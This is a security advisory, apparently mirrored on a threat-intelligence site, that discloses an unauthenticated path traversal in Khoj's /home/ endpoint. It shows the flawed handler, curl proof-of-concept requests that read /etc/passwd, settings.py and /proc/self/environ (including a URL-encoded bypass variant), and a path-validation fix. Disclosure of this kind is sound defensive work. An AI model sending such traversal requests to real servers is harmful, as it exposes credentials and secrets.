khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem
### Summary The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem. ### Details **Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): """Serve static files from the home landing page directory""" return FileResponse(constants.home_directory / file_path) ``` Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6: ```python home_directory = web_directory / "home/" ``` **What is missing:** - No `..` traversal filtering - No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`) - No authentication decorator (`@requires(["authenticated"])` is absent) - Starlette's `FileResponse` does NOT perform path traversal protection **Path resolution:** ``` Request: GET /home/../../../../../../../etc/passwd file_path = "../../../../../../../etc/passwd" home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd OS resolves to: /etc/passwd ``` ### PoC ```bash # Read /etc/passwd (no authentication required) curl http://localhost:42110/home/../../../../../../../etc/passwd # Read application settings (may contain SECRET_KEY, DB credentials) curl http://localhost:42110/home/../../../../settings.py # Read environment file curl http://localhost:42110/home/../../../../../../../proc/self/environ ``` URL-encoded variant (may bypass some reverse proxy normalization): ```bash curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` ### Impact Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can: - **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys - **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ` - **Exfiltrate sensitive data** — Any file readable by the server process - **Facilitate further attacks** — Leaked credentials enable deeper compromise **No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker. ### Recommended fix Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): resolved = (constants.home_directory / file_path).resolve() if not resolved.is_relative_to(constants.home_directory.resolve()): raise HTTPException(status_code=404) return FileResponse(resolved) ```
khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem
Description
### Summary The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem. ### Details **Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): """Serve static files from the home landing page directory""" return FileResponse(constants.home_directory / file_path) ``` Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6: ```python home_directory = web_directory / "home/" ``` **What is missing:** - No `..` traversal filtering - No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`) - No authentication decorator (`@requires(["authenticated"])` is absent) - Starlette's `FileResponse` does NOT perform path traversal protection **Path resolution:** ``` Request: GET /home/../../../../../../../etc/passwd file_path = "../../../../../../../etc/passwd" home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd OS resolves to: /etc/passwd ``` ### PoC ```bash # Read /etc/passwd (no authentication required) curl http://localhost:42110/home/../../../../../../../etc/passwd # Read application settings (may contain SECRET_KEY, DB credentials) curl http://localhost:42110/home/../../../../settings.py # Read environment file curl http://localhost:42110/home/../../../../../../../proc/self/environ ``` URL-encoded variant (may bypass some reverse proxy normalization): ```bash curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` ### Impact Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can: - **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys - **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ` - **Exfiltrate sensitive data** — Any file readable by the server process - **Facilitate further attacks** — Leaked credentials enable deeper compromise **No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker. ### Recommended fix Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): resolved = (constants.home_directory / file_path).resolve() if not resolved.is_relative_to(constants.home_directory.resolve()): raise HTTPException(status_code=404) return FileResponse(resolved) ```
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-62mm-xwmv-crhg
- Osv Schema Version
- 1.4.0
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 4.0
Threat ID: 6ab74f5bf7a7c54106e149d4
Added to database: 09/26/2026, 04:51:39 UTC
Last updated: 09/26/2026, 04:51:39 UTC
Views: 1
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.